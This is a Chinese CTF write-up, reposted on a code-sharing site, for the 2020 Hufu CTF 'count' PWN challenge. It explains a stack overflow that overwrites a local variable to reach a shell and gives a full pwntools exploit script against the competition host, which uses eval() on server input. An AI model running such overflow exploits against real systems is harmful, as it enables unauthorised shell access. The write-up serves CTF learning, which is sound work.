ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2020数字中国虎符CTF-PWN-count writeup

2020-04-20 12:01:18  阅读:422  来源: 互联网

标签:count __ xsp int writeup xbp unsigned int64 PWN


在这里插入图片描述
检查程序保护

在运行时可以发现,无法执行二进制文件: 可执行文件格式错误
在这里插入图片描述
但是程序可以进行IDA反编译

找到sub_400990函数

__int64 sub_400990()
{
  unsigned int v0; // w0
  __int64 v1; // x0
  __int64 v2; // x0
  __int64 v3; // x0
  __int64 v4; // x0
  __int64 v6; // [xsp+10h] [xbp+10h]

  __int64 v7; // [xsp+78h] [xbp+78h]
  int v8; // [xsp+DCh] [xbp+DCh]


  int v9; // [xsp+E0h] [xbp+E0h]
  int v10; // [xsp+E4h] [xbp+E4h]
  int v11; // [xsp+E8h] [xbp+E8h]
  int v12; // [xsp+ECh] [xbp+ECh]
  int v13; // [xsp+F0h] [xbp+F0h]
  int v14; // [xsp+F4h] [xbp+F4h]
  unsigned int v15; // [xsp+F8h] [xbp+F8h]
  int v16; // [xsp+FCh] [xbp+FCh]

  sub_400940();
  v16 = 0;
  do
  {
    v0 = time(0LL);
    v15 = v0;
    v1 = srand(v0);
    v2 = (unsigned int)((signed int)rand(v1) % 100);
    v14 = v2;
    v3 = (unsigned int)((signed int)rand(v2) % 100);
    v13 = v3;
    v4 = (unsigned int)((signed int)rand(v3) % 100);
    v12 = v4;
    v11 = (signed int)rand(v4) % 100;
    printf("there have 200 levels ~");
    printf("Math: %d * %d + %d + %d = ???");
    printf("input answer:");
    read(0LL, &v6, 20LL);
    v10 = v14 * v13 + v12 + v11;
    v9 = strtol(&v6, 0LL, 10LL);
    if ( v10 != v9 )
    {
      puts("wrong ");
      exit(0LL);
    }
    puts("good !");
    ++v16;
  }
  while ( v16 <= 199 );
  v8 = 256;
  read(0LL, &v7, 0x6ELL);
  if ( v8 == 304305682 )
  {
    puts("get it ~");
    sub_400920();
  }
  return 0LL;
}

可以看到,程序大概就是算数题,算对200次跳转

sub_400920,就是shell
在这里插入图片描述
只要v8==304305682就可以获取shell,猜测有溢出漏洞
果然v7存在溢出
在这里插入图片描述
可以看到v7这里可以覆盖到v8,20字节
在这里插入图片描述
而输入v7可以输入0x6E,110字节,刚好可以覆盖到v8,10字节
在这里插入图片描述
所以本题思路为:
算数200次,输入v7变量覆盖v8变量为304305682,获取shell

exploit:

from pwn import *
#context.log_level = 'debug'
p=remote('39.97.210.182',40285)
for i in range(200):
    p.recvuntil('Math: ')
    s=p.recvuntil('???')[:-6]
    p.sendlineafter('answer:',str(eval(s)))
    print p.recv(5)

payload='A'*100+p64(304305682)
p.sendline(payload)
p.interactive()

标签:count,__,xsp,int,writeup,xbp,unsigned,int64,PWN
来源: https://blog.csdn.net/qq_41743240/article/details/105618502

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有